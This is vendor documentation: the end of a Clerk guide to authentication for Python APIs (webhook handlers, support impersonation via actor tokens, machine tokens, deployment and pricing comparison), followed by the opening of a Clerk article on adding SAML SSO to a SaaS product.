About `String(255)`. Clerk user IDs are currently 32 characters (`user_` + 27 word chars per the [OpenAPI spec](https://github.com/clerk/openapi-specs) pattern `^user_\w{27}$`), but the schema component for `User.id` is plain `type: string` with no `maxLength` or `pattern` constraint. The Python SDK types it as plain `str`. Clerk's own public-API fields that carry user IDs use `maxLength: 255`. PostgreSQL stores `VARCHAR(n)` and `VARCHAR(255)` identically on disk. Tightening to `String(32)` saves nothing and creates a silent-failure risk if Clerk ever lengthens the ID format. Keep `String(255)`.

The `user.created` handler:

```python
async def handle_user_created(data: dict):
    clerk_id = data["id"]
    email = None
    for address in data.get("email_addresses") or []:
        if address["id"] == data.get("primary_email_address_id"):
            email = address["email_address"]
            break
    async with async_session() as session:
        user = User(clerk_id=clerk_id, email=email)
        session.add(user)
        await session.commit()
```

The `user.deleted` handler is symmetric:

```python
async def handle_user_deleted(clerk_id: str):
    async with async_session() as session:
        user = await session.scalar(
            select(User).where(User.clerk_id == clerk_id)
        )
        if user:
            await session.delete(user)
            await session.commit()
```

Source: [Svix receiving webhooks with FastAPI](https://www.svix.com/guides/receiving/receive-webhooks-with-python-fastapi/), [Svix receiving with Flask](https://www.svix.com/guides/receiving/receive-webhooks-with-python-flask/), [Svix verification internals](https://docs.svix.com/receiving/verifying-payloads/how).

### User impersonation for support

Support workflows often need "sign in as this user to see what they see." Clerk calls this feature **actor tokens**. The Python SDK [exposes it as `clerk.actor_tokens.create(...)`](https://raw.githubusercontent.com/clerk/clerk-sdk-python/main/src/clerk_backend_api/actortokens.py), which hits `POST /v1/actor_tokens` on the Backend API. The request body takes two mandatory fields: the user being impersonated (`user_id`) and the admin doing the impersonating (`actor.sub`). The admin is embedded in the issued session's `act` claim so the audit trail shows who did what.

```python
actor_token = clerk.actor_tokens.create(request={
    "user_id": "user_target_xxx",             # user being impersonated
    "actor": {"sub": "user_admin_xxx"},        # admin doing the impersonating (ends up in `act`)
    "expires_in_seconds": 3600,                # optional, default 1 hour
    "session_max_duration_in_seconds": 1800,   # optional, default 30 minutes
})

# Share the one-time sign-in URL with the support agent.
# Visiting it signs them in as the target user; the resulting session
# carries `act.sub = "user_admin_xxx"` so your audit logs track it back.
print(actor_token.url)
print(actor_token.token)  # raw ticket value if you want to build the URL yourself
```

Revoke before expiry with `clerk.actor_tokens.revoke(actor_token_id=actor_token.id)`.

Do **not** confuse `actor_tokens` with `sign_in_tokens` — the latter is a one-time sign-in link for a normal user (no `act` claim, no audit trail), not an impersonation primitive. Full guide: [user impersonation](https://clerk.com/docs/guides/users/impersonation).

### Machine-to-machine authentication

When a service calls another service (not on behalf of a user), you want M2M tokens. Clerk supports two formats:

1. **Opaque** (`m2m_xxx`) — network verification, revocable. Best when you want to invalidate a token immediately.
2. **JWT** (`mt_xxx`) — networkless verification, not revocable until expiry. Best for high-throughput service-to-service calls. Shipped [2026-02-24](https://clerk.com/changelog/2026-02-24-m2m-jwt-tokens).

Restrict an endpoint to M2M traffic only:

```python
state = authenticate_request(
    request,
    AuthenticateRequestOptions(
        secret_key=settings.clerk_secret_key,
        accepts_token=["m2m_token"],
    ),
)
```

API Keys (user-scoped programmatic access, prefix `ak_`) went [GA on 2026-04-17](https://clerk.com/changelog/2026-04-17-api-keys-ga). If you want both session tokens and API keys to work on the same endpoint, pass `accepts_token=["session_token", "api_key"]`. Full guide: [machine auth overview](https://clerk.com/docs/guides/development/machine-auth/overview).

## Production deployment considerations

Everything below is the stuff that breaks on the first 2 a.m. page if you skip it.

### Secret management

Never commit `.env`. `.gitignore` it and commit an `.env.example` with the variable names but no values.

Rotation plan for `CLERK_SECRET_KEY`: create a new secret key in the Dashboard, deploy it to production, wait one deploy cycle, delete the old one. Clerk accepts both during the window. Rotate annually or on suspected compromise. Keep `CLERK_JWT_KEY` (public) separate from `CLERK_SECRET_KEY` (private) in your secret store; the JWT key can live in plain environment config, but the secret key should be in a proper secret manager.

Options: AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault, Doppler, Infisical. Railway, Render, Fly.io, and Vercel all have encrypted-at-rest environment variable storage that's sufficient for small teams. Pick whichever fits your platform; the pattern (inject at boot, never log) is the same.

### CORS and authorized parties

Repeat of the gotcha from Section 9: `allow_origins=["*"]` + `allow_credentials=True` breaks every browser. List origins explicitly.

`authorized_parties` on `AuthenticateRequestOptions` is your CSRF backstop. Even if CORS is misconfigured, `azp` validation rejects tokens issued for origins you didn't list. It's a defense-in-depth check, not a substitute for CORS.

Subdomain strategies:

1. **Same-apex** (`app.example.com` + `api.example.com`) — same-site cookies work if you set the cookie domain to `.example.com`. [SameSite=Lax](/glossary#samesite-cookie) is fine for most flows.
2. **Cross-origin** (`yourapp.com` + `api.someothercompany.com`) — you're in full cross-origin territory. Use `Authorization: Bearer ...`, don't bother with cookies, and be strict about CORS origins.

### Performance and caching

Networkless verification with `jwt_key` is one PEM decode per process, cached in memory. Each subsequent request is a local RS256 signature check — no network round-trip to Clerk.

Networked verification fetches JWKS from `https://api.clerk.com/v1/jwks` once per process per `kid`. Cached in memory. Re-fetches on signature mismatch (key rotation). The first request after startup pays a one-time network round-trip; every request after that is a local signature check against the cached key.

Don't call `sdk.users.get()` on every request. The session token already has `sub`, `sid`, and the org claims. Only fetch the full user when you need metadata you can't get from the token.

Reuse a single `Clerk()` instance at module scope. The SDK is [httpx](https://www.python-httpx.org/)-based, and reusing the underlying client means you benefit from HTTP connection pooling. The [httpx clients guide](https://www.python-httpx.org/advanced/clients/) documents this trade-off directly: without a long-lived `Client`, httpx has to "establish a new connection *for every single request*," while a reused client brings "reduced latency across requests (no handshaking)." Creating a new `Clerk()` per request is the pattern to avoid.

### Observability and logging

What to log per authenticated request: timestamp, `user_id`, `session_id`, request ID, endpoint, outcome (allowed / rejected), latency, rejection reason if any. That's enough to debug almost anything.

What to never log: the full token, the raw `Authorization` header, password hashes, PII like email addresses unless you have a reason.

Structured logging with [`structlog`](https://www.structlog.org/) (preferred) or [`loguru`](https://github.com/Delgan/loguru) (popular but set `diagnose=False` in production — it can leak secrets into tracebacks).

OpenTelemetry instrumentation for FastAPI and Flask: `opentelemetry-instrumentation-fastapi`, `opentelemetry-instrumentation-flask`, and `opentelemetry-instrumentation-httpx` (to trace outbound Clerk Backend API calls). Set `OTEL_INSTRUMENTATION_HTTP_CAPTURE_HEADERS_SANITIZE_FIELDS=authorization,cookie,svix-signature` so the tracing layer doesn't exfiltrate credentials to your APM.

### Deployment platforms

Short rundowns of where Python APIs actually run in 2026.

**Railway** — `railway.json` or `railway.toml` for config; `startCommand` for the worker command. Railway's [Railpack builder defaults to Python 3.13](https://railpack.com/languages/python); pin a different version with `.python-version`.

**Render** — `uvicorn app.main:app --host 0.0.0.0 --port $PORT` for FastAPI or `gunicorn "app:create_app()" -b 0.0.0.0:$PORT` for Flask. [Free tier sleeps after 15 minutes idle](https://render.com/docs/free); the [Starter plan is $7/month](https://render.com/pricing) for always-on.

**Fly.io** — `fly secrets set CLERK_SECRET_KEY=...` writes to an encrypted vault; the API servers [can only encrypt, not decrypt, stored secret values](https://fly.io/docs/apps/secrets/). Python docs at [fly.io/docs/python](https://fly.io/docs/python/).

**Heroku** — `Procfile`: `web: gunicorn -k uvicorn_worker.UvicornWorker app.main:app`. Newly created Python apps [default to the latest patch of Python 3.14](https://devcenter.heroku.com/articles/python-support); pin explicitly via `.python-version`.

**Google Cloud Run** — Dockerfile with `gunicorn` on `$PORT`; `--set-env-vars` or pull from Secret Manager with `roles/secretmanager.secretAccessor`. The [free tier includes 180,000 vCPU-seconds and 2 million requests per month](https://cloud.google.com/run/pricing) under request-based billing (240,000 vCPU-seconds under instance-based billing).

**AWS Lambda via Mangum** — `Mangum(app, lifespan="off")`. Initialize `Clerk()` and `httpx.Client` at module level so warm invocations reuse them. [Lambda SnapStart](https://docs.aws.amazon.com/lambda/latest/dg/snapstart.html) is available for Python 3.12 and later to reduce cold-start latency. [Mangum on PyPI](https://pypi.org/project/mangum/).

**Vercel Python Functions** — [Supports Python 3.12 (default), 3.13, and 3.14](https://vercel.com/docs/functions/runtimes/python). Auto-detects FastAPI and Flask from `requirements.txt`. Good fit when your frontend is already on Vercel.

Cold-start concerns matter on serverless (Lambda, Cloud Run, Vercel). Networkless `jwt_key` mode eliminates the JWKS warmup cost — one less thing to worry about on the first request after a scale-up.

### Frontend-backend communication in production

Same-origin deployment: use [Next.js 16's `proxy.ts`](https://nextjs.org/blog/next-16) to proxy `/api/*` internally to your Python service via `rewrites`. `proxy.ts` replaces the deprecated `middleware.ts` as the top-level file in Next.js 16 (released 2025-10-21). Clerk's import path is unchanged — the function is still `clerkMiddleware()` from `@clerk/nextjs/server`; only the file name changed. Next.js 15 and earlier projects keep the file as `middleware.ts`.

Cross-origin deployment (SPA at `yourapp.com`, Python API at `api.yourapp.com`): no file-rename concern. Rely on `authorized_parties` on the Python side and an explicit `CORSMiddleware` allow-list.

Cookie `SameSite=Lax` for same-origin; bearer tokens for cross-origin. Don't try to make cookies work across third-party domains — browsers are actively removing third-party cookie support and you'll spend weeks debugging.

### Clerk production instance checklist

- [ ] Switch to `pk_live_` / `sk_live_` in production env vars.
- [ ] Configure DNS CNAMEs per the Dashboard's instructions (your `clerk.yourapp.com` subdomain has to exist).
- [ ] Set up your own OAuth credentials with each provider (Google, GitHub, etc.). Clerk's shared dev OAuth apps don't work in production.
- [ ] Verify your `authorized_parties` list matches your real production origins.
- [ ] Turn off dev-only sign-in methods if you don't want them (e.g., test email codes).

Canonical checklist: [deploy to production](https://clerk.com/docs/guides/development/deployment/production).

## Clerk vs. other Python authentication options

The options at a glance. Pricing and free-tier numbers are verified against vendor pricing pages in April 2026; capability rows cite a primary vendor source.

| Capability                                                           | Clerk                                                                                                                    | Auth0                                                                                                                         | Supabase Auth                                                                                                                              | Firebase Auth                                                                                                                 | AWS Cognito                                                                                                                                                               | DIY (PyJWT + pwdlib)                                                                           |
| -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| First-party Python SDK                                               | `clerk-backend-api` 5.0.6 ([PyPI](https://pypi.org/project/clerk-backend-api/))                                          | `auth0-api-python` / `auth0-fastapi-api` ([Auth0 Python Quickstart](https://auth0.com/docs/quickstart/backend/python))        | Python server SDK via `supabase-py` ([docs](https://supabase.com/docs/reference/python/introduction))                                      | `firebase-admin` ([PyPI](https://pypi.org/project/firebase-admin/))                                                           | `boto3` (AWS SDK, generic)                                                                                                                                                | n/a                                                                                            |
| [Passkeys](/glossary#passkeys) included in lowest paid tier          | Yes — Pro ([pricing](https://clerk.com/pricing))                                                                         | Yes — Essentials ([pricing](https://auth0.com/pricing))                                                                       | Not offered natively — requires external WebAuthn implementation ([auth docs](https://supabase.com/docs/guides/auth))                      | Not offered                                                                                                                   | Yes — Essentials ([pricing](https://aws.amazon.com/cognito/pricing/))                                                                                                     | DIY                                                                                            |
| MFA (TOTP) on free tier                                              | Pro and above ([pricing](https://clerk.com/pricing))                                                                     | Yes ([pricing](https://auth0.com/pricing))                                                                                    | Yes ([MFA docs](https://supabase.com/docs/guides/auth/auth-mfa))                                                                           | Blaze (pay-as-you-go) plan only ([pricing](https://firebase.google.com/pricing))                                              | Essentials and above ([pricing](https://aws.amazon.com/cognito/pricing/))                                                                                                 | DIY                                                                                            |
| Native [organizations](/glossary#organizations) / B2B primitive      | Yes — first-class ([organizations docs](https://clerk.com/docs/guides/organizations/overview))                           | Yes — first-class ([Organizations](https://auth0.com/docs/manage-users/organizations))                                        | Not a first-class primitive — modeled via Postgres tables and [RLS](https://supabase.com/docs/guides/database/postgres/row-level-security) | Not offered                                                                                                                   | Groups (flat, not hierarchical) ([Cognito user groups](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools-user-groups.html))                    | DIY                                                                                            |
| Webhooks for user events                                             | Yes — via [Svix](https://www.svix.com/) ([webhook docs](https://clerk.com/docs/guides/development/webhooks/overview))    | Yes — Log Streams ([docs](https://auth0.com/docs/customize/log-streams))                                                      | Yes — auth hooks ([docs](https://supabase.com/docs/guides/auth/auth-hooks))                                                                | Cloud Functions [blocking triggers](https://firebase.google.com/docs/auth/extend-with-blocking-functions) (not HTTP webhooks) | Lambda Triggers ([docs](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-identity-pools-working-with-aws-lambda-triggers.html)) (not HTTP webhooks) | DIY                                                                                            |
| Local JWT verification with public key (no per-request network call) | Yes — `jwt_key=` parameter ([manual verification guide](https://clerk.com/docs/guides/sessions/manual-jwt-verification)) | Yes — JWKS fetched and cached ([token validation](https://auth0.com/docs/secure/tokens/access-tokens/validate-access-tokens)) | Yes — JWKS / HS256 ([docs](https://supabase.com/docs/guides/auth/jwt-fields))                                                              | Yes — via `firebase-admin` [`verify_id_token`](https://firebase.google.com/docs/auth/admin/verify-id-tokens)                  | Yes — JWKS ([docs](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html))                                | DIY                                                                                            |
| Free-tier unit and allowance                                         | 50,000 MRUs ([pricing](https://clerk.com/pricing))                                                                       | 7,500 MAUs ([pricing](https://auth0.com/pricing))                                                                             | 50,000 MAUs ([pricing](https://supabase.com/pricing))                                                                                      | 50,000 MAUs Spark plan ([pricing](https://firebase.google.com/pricing))                                                       | 10,000 MAUs Lite ([pricing](https://aws.amazon.com/cognito/pricing/))                                                                                                     | Free                                                                                           |
| Starting paid tier                                                   | $20/mo annual ($25 monthly) Pro ([pricing](https://clerk.com/pricing))                                                   | $35/mo Essentials ([pricing](https://auth0.com/pricing))                                                                      | $25/mo Pro ([pricing](https://supabase.com/pricing))                                                                                       | pay-as-you-go Blaze ([pricing](https://firebase.google.com/pricing))                                                          | $0.015/MAU Essentials ([pricing](https://aws.amazon.com/cognito/pricing/))                                                                                                | $50K–$200K/yr SOC 2 ([WorkOS guide](https://workos.com/blog/python-authentication-guide-2026)) |
| SOC 2 report access tier                                             | Business ([pricing](https://clerk.com/pricing))                                                                          | "Compliance Certifications" included all tiers ([pricing](https://auth0.com/pricing))                                         | Team and Enterprise ([Supabase security](https://supabase.com/security))                                                                   | Available under Google Cloud ([SOC 2](https://cloud.google.com/security/compliance/soc-2))                                    | Available under AWS ([AWS Compliance](https://aws.amazon.com/compliance/soc-faqs/))                                                                                       | DIY                                                                                            |

Numbers sourced from each vendor's pricing and compliance page (links in table), the [Clerk "new plans, more value" changelog](https://clerk.com/changelog/2026-02-05-new-plans-more-value) (2026-02-05 repricing), and [WorkOS's 2026 guide](https://workos.com/blog/python-authentication-guide-2026) for the DIY cost range.

Clerk's tier detail, since numbers move:

1. **Hobby** (free) — 50,000 MRUs. Basic RBAC (20-member org cap), 5 impersonations/month, 3 dashboard seats, 7-day fixed sessions. Does not include MFA, passkeys, or Enterprise SSO.
2. **Pro** — $20/month billed annually ($25 monthly). Adds MFA, passkeys, custom email templates, custom session duration, SMS codes, satellite domains ($10/mo each), remove Clerk branding, and 1 Enterprise SSO connection included ($75/mo per additional connection).
3. **Business** — $250/month billed annually ($300 monthly). Adds SOC 2 Report access, HIPAA artifact access, 10 dashboard seats (additional $20/mo each), enhanced dashboard roles, and priority support.
4. **Enterprise** — custom pricing, annual only. Adds **HIPAA compliance available with BAA**, 99.99% uptime SLA, premium support, dedicated onboarding, custom Slack channel, annual committed-use discounts, and Enterprise SSO for the workspace.

> \[!IMPORTANT]
> The **Business** plan includes access to the SOC 2 report and HIPAA artifacts (compliance documentation). **Signing a BAA for HIPAA-covered production workloads requires the Enterprise plan**, per Clerk's pricing page. Verify with Clerk's [pricing page](https://clerk.com/pricing) and the [2026-02-05 "new plans, more value" changelog](https://clerk.com/changelog/2026-02-05-new-plans-more-value) before making a compliance decision — these tiers shift.

### When to pick Clerk

1. You want a first-party Python SDK with predictable release cadence.
2. You need strong B2B / organizations support, including programmatic role and permission management.
3. You already use React, Next.js, or Expo — Clerk's frontend components match the backend one-to-one.
4. You want [passkeys](/glossary#passkeys), MFA, and social OAuth without building them.
5. You need SOC 2 Report access on the Business tier, or HIPAA BAA availability on Enterprise, for compliance reasons.

### When another option might fit better

**Supabase** if your whole stack is Supabase — Postgres plus realtime plus storage plus auth, all consolidated. The client-SDK focus on auth means you'll write more Python verification code manually, but you get a tight DB integration.

**Firebase** if you're deep in Google Cloud — Firestore, Cloud Functions triggers, App Check integration. The organizations gap matters if your app is B2B.

**Auth0** if you need extensive enterprise SSO beyond what Clerk offers in Pro. Auth0's Enterprise tier has more granular SAML/OIDC controls. Pricing starts at $35/month (7,500 MAU free) and scales up; the old "$1,600/mo at 10K MAU" number you might see in older comparisons was a briefly-available 2024 promotion that has rolled back.

**Cognito** if you're AWS-native with no other preference. You'll write more Python yourself (no dedicated FastAPI/Flask helper), but Lambda Triggers compose well with the rest of your stack.

**DIY** only if authentication is literally your product (you're building an IDP), or for learning. The time and compliance cost is hard to justify otherwise.

None of these are bad choices. Clerk is the default recommendation for a modern Python API paired with a modern frontend; the others fit legitimate niches.

## FAQ

---

# How to add SSO and SAML to my SaaS Product
URL: https://clerk.com/articles/how-to-add-sso-and-saml-to-my-saas-product.md
Date: 2026-04-22
Description: Ship production SAML SSO in your SaaS: a complete Clerk walkthrough for Next.js, Auth0 and WorkOS snippets, and the DIY security pitfalls from 2025–2026 CVEs.

**How do I add SSO and SAML to my SaaS product?**

The fastest production path is to pick a managed auth service that exposes [SAML](/glossary#security-assertion-markup-language-saml) as a first-class primitive, model every customer tenant as a per-organization [SSO](/glossary/single-sign-on-sso) connection, let the customer's IdP admin upload metadata, enable SCIM (Directory Sync) for automated deprovisioning, and test end-to-end against a staging IdP before touching production. With Clerk on [Next.js](/glossary#next-js) 16 that runs roughly 1–3 hours of code plus IdP round-tripping; building it yourself with the Node.js SAML libraries is realistic at 4–8 weeks for an MVP and 3–9 months production-hardened against the 2025–2026 XML signature and parser-differential CVEs. The walkthrough below covers the full Clerk implementation, side-by-side comparisons with Auth0 and WorkOS, the DIY reality check, and the pitfalls that trip up first-time SAML implementers.

Procurement, not revenue, is the trigger — the moment an enterprise security questionnaire asks whether your product supports SAML 2.0 SSO, the deal hinges on the answer. Ship SAML first because it is the protocol named by name in most enterprise workforce RFPs, then add [OIDC](/glossary/openid-connect) or EASIE second for SMB and mobile.

## SAML vs OIDC at a glance: the 30-second answer

Before you spend a sprint picking a protocol, here's the short version. If your buyer is a workforce enterprise on Okta, Entra ID, Ping, JumpCloud, or ADFS, ship SAML 2.0. If your buyer is a Google Workspace or Microsoft Entra tenant that doesn't require per-tenant cryptographic isolation, EASIE (multi-tenant [OIDC](/glossary/openid-connect)) is the fastest route. If you're authenticating mobile, SPA, CLI, or service-to-service workloads, OIDC is the native fit.

| Attribute                                                     | SAML 2.0                                                                                  | OIDC 1.0                                                                  |
| ------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- |
| Best fit for B2B SaaS                                         | Workforce SSO into enterprise tenants — "Okta required" RFPs, IdP-initiated tile launches | Mobile / SPA / CLI, modern IdPs, service-to-service                       |
| Data format                                                   | Signed XML assertions                                                                     | JSON Web Tokens (ID Token)                                                |
| IdP-initiated SSO from corporate tile (Okta / Entra / Google) | Native via `RelayState`                                                                   | No native equivalent — Entra does not expose `RelayState` for OIDC        |
| Mobile / native fit                                           | Poor (browser POST round-trip)                                                            | Strong (Authorization Code + PKCE)                                        |
| Service-to-service / M2M                                      | Not supported                                                                             | OAuth 2.0 client credentials                                              |
| Enterprise IdP coverage                                       | \~100% of workforce IdPs                                                                  | \~95% (Okta, Entra, Ping, JumpCloud, Google all ship OIDC)                |
| 2025–2026 critical CVE count (Node.js ecosystem)              | 5+ critical (SAMLStorm, ruby-saml parser diff, samlify, node-saml ×2)                     | Far fewer; OIDC advisories caught pre-exploitation                        |
| NIST SP 800-63-4 FAL equivalence                              | Valid at FAL1 / FAL2 / FAL3                                                               | Valid at FAL1 / FAL2 / FAL3 — NIST treats assertion formats as equivalent |
| IdP marketplace coverage                                      | Deepest (Okta OIN, Entra Gallery)                                                         | Growing; smaller catalog today                                            |
| Typical procurement RFP language                              | "SAML 2.0 SSO" named explicitly                                                           | Rare; RFPs rarely require OIDC by name                                    |
| Direct answer for "which first?"                              | Ship SAML first — named in most enterprise workforce RFPs                                 | Ship OIDC second, or first when the customer IdP is modern-only           |

Rule of thumb that fits in one sentence: **ship SAML first for enterprise workforce SSO, OIDC (or EASIE) second for SMB and mobile.** The three-column breakdown that adds EASIE is in [Section 3](#sso-and-saml-fundamentals-for-oauth-developers); the decision tree is further down.

## The "going enterprise" inflection point

A SaaS crosses from "growing" to "going enterprise" the moment an opportunity arrives that can't close without SSO. The trigger is procurement, not revenue. That moment can arrive at a $10,000 ACV contract with a company that bought enterprise-grade posture because the champion on the buyer side is a former CISO, or it can wait until a $250,000 ACV mid-market deal. Either way, the question arrives the same way: a PDF called something like "Vendor Security Questionnaire v4.3.xlsx" lands in your inbox, and line 47 asks whether your product supports SAML 2.0 SSO against a list of named identity providers.

If you haven't hit this inflection point yet, the data says you will. [SoftwareFinder's 2025 SaaS Security Report](https://softwarefinder.com/resources/saas-security-report-2025) measured that 68% of enterprise RFPs now mandate both MFA and SSO in the base plan — not as a premium upcharge — and that 43% of buyers have disqualified vendors for failing to provide verifiable credentials. The same report found that 61% of enterprises and 26% of SMBs require InfoSec sign-off before a software purchase can proceed. The inflection point isn't about company size anymore; it's about vertical and buyer sophistication.

The mechanical cost of not supporting SSO is real. Most vendors who land in procurement without documented SAML support get stuck in security review for additional weeks while InfoSec tries to map their auth model onto the customer's federation standards, and a meaningful share of those vendors never exit the security-review stage at all. The deal doesn't get negotiated down — it gets quietly moved to the "revisit next fiscal year" bucket while procurement finds a competitor who already ships SAML.

## Who this guide is for

This article is written for an OAuth-familiar developer. You know the Authorization Code + PKCE flow. You've integrated "Sign in with Google." You understand what a redirect URI, an access token, a refresh token, and an ID token are. You can read a JWT. You have never shipped SAML in production.

You're about to meet a protocol from 2005 that speaks XML, uses HTTP POST to deliver assertions to something called an Assertion Consumer Service, trusts X.509 certificates that your customer's IT admin rotates on a schedule you cannot control, and patches a steady stream of signature-wrapping vulnerabilities that have shipped in production libraries as recently as August 2025. The goal here is to bridge the gap: every SAML concept is introduced by analogy to the OAuth concept you already know, and then the important differences are called out explicitly.

## What you'll learn

This guide covers:

- Why enterprise customers mandate SSO and SAML, including the business, compliance, and security drivers that make "we don't support SSO" a deal-killer.
- How SAML differs from OIDC and OAuth, where your existing OAuth knowledge transfers cleanly, and where it doesn't.
- The three real implementation options — build it yourself, use a managed authentication service, or pick a single-purpose SSO gateway — with honest trade-offs and current pricing.
- A complete, production-ready walkthrough for adding [enterprise SSO](/glossary#b2b-sso) to a Next.js 16 app using Clerk, covering [organizations](/glossary#organizations), per-tenant SAML connections, [attribute mapping](/glossary#attribute-mapping), [JIT](/glossary#identity-provider-sso-idp-sso) provisioning, and [SCIM](/glossary#directory-sync)-based deprovisioning.
- Side-by-side implementation snippets for Auth0 and WorkOS so you can see where each vendor diverges from Clerk.
- The security pitfalls that still ship in 2026 — XML Signature Wrapping (XSW), parser differentials, IdP-initiated replay attacks, and the certificate-rotation class of failures — and the mitigations you must implement regardless of which auth layer you pick.
- A comprehensive FAQ aimed at the questions procurement, customer IT, and your own team will ask once SAML lands in your codebase.

## Why enterprise customers require SSO and SAML

### Business drivers: unlocking enterprise deals

#### The "no SSO, no contract" reality

Enterprise procurement runs on checklists, and SAML is near the top of almost every one of them. The Vendor Security Alliance (VSA) questionnaire and the Shared Assessments SIG questionnaire — the two most common enterprise security intake forms — both ask explicitly whether a vendor supports SAML 2.0 SSO and whether the vendor supports SCIM 2.0 provisioning. The answer is pass/fail at many organizations. SOC 2, ISO 27001, and HIPAA — the three compliance frameworks procurement teams cite most often when describing "enterprise-ready" — all reference SAML and [identity management](/glossary#identity-management) as a standard control pattern, which is why procurement language often collapses "compliant vendor" and "SAML-capable vendor" into the same requirement.

The "SSO tax" debate has hardened buyer expectations. Ed Contreras, CISO of Frost Bank, famously called paying extra for SSO "an atrocity" in a widely cited 1Password blog interview. Rob Chahin's sso.tax catalog has turned the historical vendor practice of gating SSO behind premium tiers into a procurement veto signal. When 1Password, Notion, Tailscale, and others walked back their SSO-tier pricing between 2022 and 2024, they did so because procurement teams were using sso.tax listings to disqualify vendors before sales even got a call back.

#### Deal velocity and procurement checklists

ACV thresholds that trigger InfoSec review are predictable: under roughly $25,000 ACV you're selling to SMB, at $25,000–$100,000 you're in mid-market, and above $100,000 you're squarely in enterprise. The $50,000 threshold is where a full InfoSec review kicks in at most mid-market buyers (Tomasz Tunguz's SaaS benchmarks data, 2023). Every one of those reviews begins with a security questionnaire, and every questionnaire starts with authentication.

Operationally, the drag from a missing SAML answer on a security questionnaire is measured in weeks, not days: InfoSec has to run a longer vendor-risk assessment, your account executive has to escalate to customer IT, and the contract sits on the security-review bench until someone decides whether SAML is a blocker. That extra time is what turns a quarter-closing deal into a next-quarter problem.

### Compliance drivers

#### SOC 2, ISO 27001, and HIPAA requirements

**SOC 2** — Trust Services Criteria CC6.1, CC6.2, and CC6.3 — requires identity verification before granting access, credentialing and deprovisioning processes, and role-based access control with separation of duties. SSO is the standard control pattern auditors expect. The AICPA Trust Services Criteria (2017, revised 2022) frame SSO as a reasonable mechanism to satisfy all three.

**ISO 27001:2022** Annex A controls A.5.15 (Access Control), A.5.16 (Identity Management), A.5.17 (Authentication Information), and A.5.18 (Access Rights) collectively mandate centralized identity with auditable provisioning and deprovisioning. A mature SSO integration is effectively the primary evidence artifact auditors want to see.

**HIPAA** — 45 CFR § 164.312 — requires unique user identification, audit controls, and authentication. The 2025 HIPAA Security Rule NPRM converts "addressable" specifications (including MFA and encryption) to **required**. HIPAA-regulated customers who buy your SaaS will increasingly demand MFA enforcement at the IdP plus SCIM deprovisioning with a documented 1-hour revocation SLA.

**NIST SP 800-63-4** (final, July 31, 2025) strongly promotes phishing-resistant MFA and requires FIPS 140 Level 1+ key storage at FAL2 for federal agency IdPs. If you sell into federal-adjacent buyers, the practical implication is: support SAML with a customer-managed IdP that already meets the FAL2 bar.

**GDPR Article 32** obligates risk-based security measures; SSO is a proportionate control for most B2B SaaS, and Schrems II considerations make a European customer's own IdP the cleanest data-flow boundary.

#### Auditable access and centralized deprovisioning

Every modern audit reviewer wants to know two things: who had access, and when was that access revoked? SAML plus SCIM answers both questions in a single protocol stack. The IdP owns the identity lifecycle, your app receives signed assertions at sign-in and SCIM events when membership changes, and both sides produce an audit trail that satisfies SOC 2 CC7 and ISO A.8.15 logging controls. Compared to per-application offboarding scripts, this is genuinely less work.

### Security benefits of centralized identity

#### Enforcing MFA at the identity provider

Microsoft's Alex Weinert published the benchmark most cited in security conversations: ["Your account is more than 99.9% less likely to be compromised if you use MFA."](https://techcommunity.microsoft.com/blog/microsoft-entra-blog/your-paword-doesnt-matter/731984) The [Verizon DBIR 2024](https://www.verizon.com/business/resources/reports/2024-dbir-data-breach-investigations-report.pdf) reported that stolen credentials were the initial action in 24% of breaches, and the [2025 DBIR](https://www.verizon.com/business/resources/reports/dbir/) found that 88% of Basic Web Application Attacks used stolen credentials. Adoption still skews hard by organization size — [JumpCloud's compilation of LastPass Global Password Security Report data](https://jumpcloud.com/blog/multi-factor-authentication-statistics) shows roughly 87% MFA adoption at organizations with 10,000+ employees but only 27% at organizations under 25 employees. Pushing [MFA](/glossary#multi-factor-authentication-mfa) enforcement to the IdP — rather than building it yourself — means every customer's MFA posture is as strong as their IT admin can make it, without your team shipping per-customer policy code.

#### Instant offboarding when employees leave

The Snowflake breach (UNC5537, mid-2024) is the textbook cautionary tale: approximately 165 customer tenants lacked mandatory MFA, and hundreds of millions of records were stolen from accounts with valid credentials and no federation. Snowflake's response was to make MFA mandatory by October 2024. A SAML plus SCIM integration gets you 90% of the way there automatically — when the employee is deactivated in the customer's IdP, a SCIM event fires to your app within seconds and the user's session is invalidated without your support team getting a ticket.

### The cost of saying "we don't support SSO"

The SSO-tax debate has two sides, and both are worth engaging. On one side, sso.tax has catalogued markups that procurement teams find offensive: GitHub Enterprise's historical 425–525% markup for SSO, HubSpot's 5,000%+ SSO tier cliff, Appsmith's 16,567% markup, Webflow's 13,058%. On the other side, Tuple CEO Ben Orenstein put the counter-position plainly: "SSO costs close to nothing after a little automation." Tailscale reversed their SSO-tier pricing in April 2024 with the founder's note: *"The SSO tax felt like a mistake."* 1Password's business tier has included SSO since 2023.

The right answer for most B2B SaaS in 2026 is to bundle a reasonable number of SSO connections into the mid-tier plan and charge for scale, not for the feature itself. Charging extra for "business-critical security posture" is a procurement red flag that will cost you deals. Not charging enough means the economics don't work when a single customer onboards fifteen subsidiary organizations with fifteen IdPs. The pricing is a product decision, but the feature is not optional.

## SSO and SAML fundamentals for OAuth developers

### SSO, SAML, OIDC, and OAuth: how they relate

**SSO is the goal; SAML and OIDC are two ways to get there.** SSO means one login session unlocks many applications. SAML 2.0 is the 2005 XML-over-HTTP standard ratified by OASIS on March 14, 2005. OIDC 1.0 is the 2014 JSON-over-HTTP standard built on OAuth 2.0, finalized by the OpenID Foundation on February 26, 2014. OAuth itself is an authorization protocol, not an authentication protocol — it's the substrate that OIDC rides on top of. When marketing pages say "OAuth login," they usually mean "OIDC-on-top-of-OAuth," but it's worth keeping the distinction straight because it shapes what each token is allowed to do.

Here's the fuller three-column comparison, with the multi-tenant OIDC variant (EASIE) added. EASIE is what differentiates this from every other SAML-vs-OIDC article on the web — multi-tenant OIDC is an option most readers don't yet know exists.

